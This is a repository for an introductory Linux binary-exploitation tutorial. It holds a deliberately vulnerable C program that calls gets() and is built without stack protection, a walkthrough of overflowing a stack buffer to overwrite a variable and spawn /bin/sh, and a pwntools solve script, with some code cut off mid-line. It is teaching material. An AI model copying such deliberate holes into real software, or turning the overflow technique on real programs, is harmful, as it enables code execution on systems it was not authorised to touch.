├── Makefile ├── README.md ├── chall ├── chall.c └── solve.py /Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-fno-stack-protector -w 3 | 4 | chall: chall.c 5 | $(CC) $(CFLAGS) -o chall chall.c 6 | 7 | clean: 8 | rm -f chall 9 | 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Introduction to Linux pwn - first example 2 | I hope this blogpost would be a nice introduction to Linux pwn challenges, I intend on doing a multi-part series on the subject. 3 | The idea behind those challenges is usually gaining arbitrary code execution capabilities, either remotely or locally through the use of [SUID binary](https://en.wikipedia.org/wiki/Setuid) files. 4 | In this blogpost I'll show the simplest example that I hand-coded. We will focus primarily on C and Linux, but not a lot of background is necessary for now! 5 | Remark: I will mostly cover the Intel architecture (64 bit). There are substantial differences between 32 and 64 bit, and even more when we talk about other architectures (e.g. ARM). 6 | However, pwn knowledge is transferrable in a general sense, so let us not worry about that now. 7 | 8 | ## First example 9 | Here's a toy examine for us to begin: 10 | 11 | ```c 12 | #include 13 | #include 14 | 15 | static 16 | void 17 | say_hello(int* magic) 18 | { 19 | char name[20] = { 0 }; 20 | 21 | printf("What is your name? "); 22 | gets(name); 23 | printf("Hello %s!\n", name); 24 | 25 | if (*magic == 0x1337CAFE) 26 | { 27 | printf("woot!\n"); 28 | execve("/bin/sh", NULL, NULL); 29 | } 30 | } 31 | 32 | int 33 | main() 34 | { 35 | int magic = 0; 36 | 37 | setbuf(stdout, NULL); 38 | say_hello(&magic); 39 | 40 | return 0; 41 | } 42 | ``` 43 | 44 | Let us analyze the code: 45 | 1. Function `say_hello` gets a pointer to a variable called `magic`. Then, it gets a `name` from `stdin` (from the standard input, aka "the keyboard") and prints out a greeting. 46 | 2. If the `magic` value supplied to the function `say_hello` is exactly `0x1337CAFE` (a completely random value I chose for this exercise!) then we print `woot` and execute `/bin/sh`, i.e. "getting a shell". 47 | 3. The `main` function simply called `say_hello` with a `magic` value that was initialized to `0`, hence we should never fulfill the condition to get us a shell. 48 | 4. Also notice `setbuf(stdout, NULL)` - this basically replaces `fflush` on `stdout` and simply makes sure we print out immidiately without buffering. It's not super important for now. 49 | 50 | Well, let us compile using `gcc`, but with a special flag I will mention shortly: `-fno-stack-protector`. I also use `-w` to ignore all warnings. 51 | Since I do not like typing a lot, I put things in a `Makefile`: 52 | 53 | ``` 54 | CC=gcc 55 | CFLAGS=-fno-stack-protector -w 56 | 57 | chall: chall.c 58 | $(CC) $(CFLAGS) -o chall chall.c 59 | 60 | clean: 61 | rm -f chall 62 | ``` 63 | 64 | Upon compilation: 65 | 66 | ```shell 67 | gcc -fno-stack-protector -w -o chall chall.c 68 | /usr/bin/ld: /tmp/ccODuVW9.o: in function `say_hello': 69 | chall.c:(.text+0x48): warning: the `gets' function is dangerous and should not be used. 70 | ``` 71 | 72 | That's just a warning (even though I ignored the warnings with `-w`!), but a big hint on the issue. 73 | After successfully compiling, let's run: 74 | 75 | ```shell 76 | $ ./chall 77 | What is your name? JBO 78 | Hello JBO! 79 | ``` 80 | 81 | So far so good. Although, take a look at this! 82 | 83 | ```shell 84 | $ printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xFE\xCA\x37\x13" | ./chall 85 | What is your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��7! 86 | woot! 87 | ``` 88 | 89 | Looks like we satisfied the condition of `*magic == 0x1337CAFE`! How? 90 | 91 | ## What happened 92 | As I "gently" hinted, the `gets` function is the one doing all the harm. Note that `gets` does not get the target buffer length as an input. 93 | As a result, `gets` is condidered *highly* dangerous as one can simply write more bytes than intended, and this is all it takes here. 94 | In our example, the buffer size is `20` bytes, but we wrote `64` bytes instead 95 | The ability to override a buffer beyond the intended length is called a `buffer overflow`, and in our case - the buffer lives on the stack. 96 | This raises the question - what happens "beyond" the 20 bytes of the `name` variable? 97 | 98 | ### The stack 99 | In most modern architectures, local variables are saved in a special memory region called "the stack". Actually, there's one stack per-thread, but we're dealing with a single-threaded process so the name *the* stack is justified. 100 | The stack is interesting - it allows `push` and `pop` operations (in the `Intel` architecture - ARM is a bit more "raw" but most of its Assemblers has "push" and "pop" macros still) and most importantly - it grows *down*. The top of the stack is marked by a register (`rsp`), and when you `push`, you *decrease* that value, while `pop`ping *increases* that value. 101 | What is stack used for, besides local variables? 102 | 1. Exception handlers sometimes use the stack. 103 | 2. Variables are pushed on the stack, normally in the reverse-order of apperance. Note in `32` bit that is always true, while in `64` bits we push the first 6 parameters on registers: `rdi`, `rsi`, `rdx`, `rcx`, `r8` and `r9`. In ARM you'd see something similar - first few arguments use registers. 104 | 3. Return addresses are pushed on the stack. The `call` Intel mnemonic is equivalent to `push rip` and `jmp `, and the `ret` is equivalent to `pop rip`. This is *very* important since overriding stack memory (i.e. what we're doing now) might override return addresses, therefore taking control of the program flow. In `ARM` the `call` equivalent is `bl` or `blx` (the `x` denotes a potential change of processor mode, which I will not touch today) and performs `mov lr, pc` followed by `mov pc, `. The `pc` register is the `rip` equivalent in `ARM`, and `lr` is a special `link register` that saves return addresses. However, if the function doesn't call a leaf function it's very necessary to save the previous `lr` register somewhere (otherwise, where would the current function return?) and that place is the stack again. 105 | 106 | How does our stack look like during the lifetime of our program? 107 | 1. The `main` function already uses a stack (it uses `argc`, `argv` and `envp` even if we ignore them) but we won't cover that. 108 | 2. The `main` function has a local `int magic` variable. 109 | 3. Upon calling `say_hello`, we address of `magic` is *not* pushed to the stack since we are dealing with 64 bit architectures - it will be passed with a register. However, the return address is still pushed. 110 | 4. The `say_hello` function has a `20 byte` variable called `name`, which also lives on the stack. 111 | 112 | So, mentally, we should imagine (inaccurately) the following picture: 113 | 114 | ``` 115 | HIGH ADDRSSES magic 4 bytes 116 | return address 8 bytes 117 | name 20 bytes 118 | LOW ADDRSSES (TOP OF STACK) 119 | ``` 120 | 121 | When we call `gets` we start overriding from low addresses towards high addresses, therefore, after a certain amount we will override the return address and then the magic. 122 | Since the check for `magic` happens before the return address is referenced and since `execve` never returns - the overridden return address is never referenced and we simply override `magic`. 123 | If course, this doesn't explain why we had to write `64` bits. There are some interesting things that could affect the spacinb between stack positions, including: 124 | 1. Compiler optimizations. 125 | 2. Preference to optimize speed over memory - e.g. aiming for variables that are memory aligned. 126 | 3. Compiler deciding to save certain registers on the stack. On Intel architectures that might involve the `rbp` register, as well as any other necessary register. 127 | 128 | The best approach is to open a debugger (`gdb`) alongside a disassembler. There are two approaches: `static` analysis and `dynamic` analysis, but I like to combine them. 129 | However, in this particular exercise dynamically is easier. 130 | 131 | ### Determining how many bytes to override 132 | Opening a disassembler reveals the reason quite clearly, but I will be using `gdb` as a disassembler for now. 133 | Note that by default, `gdb` uses the (terrible) AT&T Assembly syntax, and most people I know prefer the Intel syntax. 134 | The command for that is `set disassembly-flavor intel`, but, since we're lazy, we can prepare a `.gdbinit` file: 135 | 136 | ```shell 137 | echo set disassembly-flavor intel > ~/.gdbinit 138 | ``` 139 | 140 | Let's put a breakpoint in `say_hello` with `b *say_hello` and run the program with `r`: 141 | 142 | ```shell 143 | $ gdb ./chall 144 | (gdb) b *say_hello 145 | Breakpoint 1 at 0x11c9 146 | (gdb) r 147 | ``` 148 | 149 | After looking at the disassembly (using `layout asm` or `disas`): 150 | 151 | ```assembly 152 | B+> 0x5555555551c9 endbr64 153 | 0x5555555551cd push rbp 154 | 0x5555555551ce mov rbp,rsp 155 | 0x5555555551d1 sub rsp,0x30 156 | 0x5555555551d5 mov QWORD PTR [rbp-0x28],rdi 157 | 0x5555555551d9 mov QWORD PTR [rbp-0x20],0x0 158 | 0x5555555551e1 mov QWORD PTR [rbp-0x18],0x0 159 | 0x5555555551e9 mov DWORD PTR [rbp-0x10],0x0 160 | 0x5555555551f0 lea rax,[rip+0xe0d] # 0x555555556004 161 | 0x5555555551f7 mov rdi,rax 162 | 0x5555555551fa mov eax,0x0 163 | 0x5555555551ff call 0x5555555550b0 164 | 0x555555555204 lea rax,[rbp-0x20] 165 | 0x555555555208 mov rdi,rax 166 | 0x55555555520b mov eax,0x0 167 | 0x555555555210 call 0x5555555550d0 168 | 0x555555555215 lea rax,[rbp-0x20] 169 | 0x555555555219 mov rsi,rax 170 | 0x55555555521c lea rax,[rip+0xdf5] # 0x555555556018 171 | 0x555555555223 mov rdi,rax 172 | 0x555555555226 mov eax,0x0 173 | 0x55555555522b call 0x5555555550b0 174 | 0x555555555230 mov rax,QWORD PTR [rbp-0x28] 175 | 0x555555555234 mov eax,DWORD PTR [rax] 176 | 0x555555555236 cmp eax,0x1337cafe 177 | 0x55555555523b jne 0x555555555265 178 | 0x55555555523d lea rax,[rip+0xddf] # 0x555555556023 179 | 0x555555555244 mov rdi,rax 180 | 0x555555555247 call 0x555555555090 181 | 0x55555555524c mov edx,0x0 182 | 0x555555555251 mov esi,0x0 183 | 0x555555555256 lea rax,[rip+0xdcc] # 0x555555556029 184 | 0x55555555525d mov rdi,rax 185 | 0x555555555260 call 0x5555555550c0 186 | 0x555555555265 nop 187 | 0x555555555266 leave 188 | 0x555555555267 ret 189 | ``` 190 | 191 | Well, thst might look like a lot to handle, but one of the most important parts of reverse engineering is to focus on what's important! 192 | In our case, we already know we have a potential issue with `gets`, and the comparison to `0x1337cafe` is clearly visible at ``. 193 | So, how about we put a breakpoint there and give a very unique input? We could then recognize how many bytes we need to override! 194 | 195 | ```shell 196 | (gdb) b *say_hello+109 197 | Breakpoint 2 at 0x555555555236 198 | (gdb) c 199 | Continuing. 200 | What is your name? ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 201 | Breakpoint 2, 0x555555555236 in say_hello () qrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789! 202 | (gdb) p $eax 203 | $1 = 1111570744 204 | ``` 205 | 206 | So, after using the unique pattern (`ABCDE...`) we hit the comparison and see that the value of `eax` was changed to `1111570744`! 207 | Well, if we see how that value looks in Hexadecimal form, it's `0x42413938`, and that's quite unique: 208 | 209 | ```python 210 | >>> import struct 211 | >>> struct.pack('>> 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'.index('89AB') 219 | 60 220 | ``` 221 | 222 | So, after `60` bytes we should be writing the desired value (`0x1337CAFE`). To encode it, we remember Intel uses [Little Endian](https://en.wikipedia.org/wiki/Endianness) to encode integers, so we reverse the order of bytes! 223 | 224 | ## Getting a shell with pwntools 225 | The astute reader will notice we got the `woot` output, but no shell afterwards! What gives? 226 | Well, the problem was that we used `printf` and piped the output to the challenge's `stdin`, so after overriding `magic` we simply finish - and `stdout` gets an `EOF` (end-of-file), which means the shell just quits. 227 | This can be solved in numerous ways, but this is a nice excuse to introduce to one powerful tool - `pwntools`. 228 | [Pwntools](https://docs.pwntools.com/en/stable/) is a Python library that helps automate a lot of the annoying boilerplate code you sometimes do for `pwn` challenges. 229 | In our case, it'll let us talk to a process's `stdin`, as well as switch to an interactive `stdin` afterwards. 230 | Here's the code for this challenge: 231 | 232 | ```python 233 | #!/usr/bin/env python3 234 | from pwn import * 235 | 236 | p = process('./chall') 237 | p.send(b'A' * 60 + struct.pack(' 275 | p.recvuntil(b'woot!\n') 276 | File "/home/jbo/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 341, in recvuntil 277 | res = self.recv(timeout=self.timeout) 278 | File "/home/jbo/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 106, in recv 279 | return self._recv(numb, timeout) or b'' 280 | File "/home/jbo/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 176, in _recv 281 | if not self.buffer and not self._fillbuffer(timeout): 282 | File "/home/jbo/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer 283 | data = self.recv_raw(self.buffer.get_fill_size()) 284 | File "/home/jbo/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 688, in recv_raw 285 | raise EOFError 286 | EOFError 287 | [*] Process './chall' stopped with exit code -6 (SIGABRT) (pid 16628) 288 | ``` 289 | 290 | What happened? Perhaps we should try with `printf` like before: 291 | 292 | ```shell 293 | $ printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xFE\xCA\x37\x13" | ./chall 294 | What is your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��7! 295 | *** stack smashing detected ***: terminated 296 | Aborted (core dumped) 297 | ``` 298 | 299 | Notice how the process crashed with the words `*** stack smashing detected ***`? This is a mechanism aginast stack-based buffer overflows! 300 | Disassembling will show you slight differences. 301 | In the function prologue you'll see changes that start with saving the value of `fs:0x28` on the stack: 302 | 303 | ```assembly 304 | B+> 0x5555555551e9 endbr64 305 | 0x5555555551ed push rbp 306 | 0x5555555551ee mov rbp,rsp 307 | 0x5555555551f1 sub rsp,0x30 308 | 0x5555555551f5 mov QWORD PTR [rbp-0x28],rdi 309 | 0x5555555551f9 mov rax,QWORD PTR fs:0x28 310 | 0x555555555202 mov QWORD PTR [rbp-0x8],rax 311 | ... 312 | ``` 313 | 314 | In the function epilogue you'll see how there is a check to see that value hasn't changed: 315 | 316 | ```assembly 317 | ... 318 | 0x555555555295 mov rax, QWORD PTR [rbp-0x8] 319 | 0x555555555299 sub rax, QWORD PTR fs:0x28 320 | 0x5555555552a2 je 0x5555555552a9 321 | 0x5555555552a4 call 0x5555555550b0 <__stack_chk_fail@plt> 322 | 0x5555555552a9 leave 323 | 0x5555555552aa ret 324 | ``` 325 | 326 | The epilogue pulls the saved value from the stack (in `rbp-0x8`) and substracts `fs:0x28` from it - which should result in zero unless the value in the stack was somehow changed. 327 | If the value is not zero then `__stack_chk_fail@plt` is called, which is the function that purposely crashes the stack and prints out the message we've seen. 328 | That technique which is on by default on every modern C compiler is called `stack cookie` or `stack canary`. 329 | The idea is simple - usually attackers aim at overriding the return address, so between the saved return address and the local variables, we save one more value which is *randomly* initialized. 330 | That value is then checked, with the understanding that an attacker cannot guess a random 64-bit value. 331 | This random value is initialized even before `main` is called. Note: if you're coming from Windows reverse-engineering background you'd notice the implementation is slightly different - instead of saving the random cookie pointed by the `fs` register, Windows treats it as a global variable in `.data`. The idea, however, is the same. 332 | 333 | One thing that we haven't done is assessing the security mitigations of a binary, which can be easily done with [checksec](https://github.com/slimm609/checksec.sh): 334 | 335 | ```shell 336 | $ checksec ./chall 337 | [*] '/home/jbo/chall' 338 | Arch: amd64-64-little 339 | RELRO: Full RELRO 340 | Stack: No canary found 341 | NX: NX enabled 342 | PIE: PIE enabled 343 | ``` 344 | 345 | This was done on the binary that was compiled with the `-fno-stack-protector` flag. 346 | The `No canary found` is the indictor, and in `pwn` challenges that's one of the first things you'd do. 347 | I intend on showcasing the other mitigations one by one, and how attackers deal with them, in future blogposts. 348 | 349 | By the way - this example also shows how stack cookies \ are *not* bulletproof! Since we call `execve` before using the return address, we can get to a situation where the `magic` value still correctly works, we just need a different number of bytes to push. As an exercise - try to figure our how many! 350 | 351 | ```shell 352 | $ checksec ./chall 353 | [*] '/home/jbo/chall' 354 | Arch: amd64-64-little 355 | RELRO: Full RELRO 356 | Stack: Canary found 357 | NX: NX enabled 358 | PIE: PIE enabled 359 | $ ./solve.py 360 | [+] Starting local process './chall': pid 1993 361 | [*] Switching to interactive mode 362 | $ exit 363 | [*] Got EOF while reading in interactive 364 | $ exit 365 | [*] Process './chall' stopped with exit code 0 (pid 1993) 366 | [*] Got EOF while sending in interactive 367 | ``` 368 | 369 | ## Summary 370 | This was a short a (hopefully) easy landing into Linux binary exploitation \ pwn. 371 | We have examined a first stack smashing attack (without overriding the return address yet!) and explaining stack cookies \ canaries, as well as get a taste of `pwntools`. 372 | There's more to come, I promise! 373 | 374 | Jonathan Bar Or 375 | 376 | -------------------------------------------------------------------------------- /chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yo-yo-yo-jbo/linux_pwn_intro/63d546037bd37e62766fce7bfcc5cfbe61168ad3/chall -------------------------------------------------------------------------------- /chall.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static 5 | void 6 | say_hello(int* magic) 7 | { 8 | char name[20] = { 0 }; 9 | 10 | printf("What is your name? "); 11 | gets(name); 12 | printf("Hello %s!\n", name); 13 | 14 | if (*magic == 0x1337CAFE) 15 | { 16 | printf("woot!\n"); 17 | execve("/bin/sh", NULL, NULL); 18 | } 19 | } 20 | 21 | int 22 | main() 23 | { 24 | int magic = 0; 25 | 26 | setbuf(stdout, NULL); 27 | 28 | say_hello(&magic); 29 | 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | p = process('./chall') 5 | p.send(b'A' * 60 + struct.pack('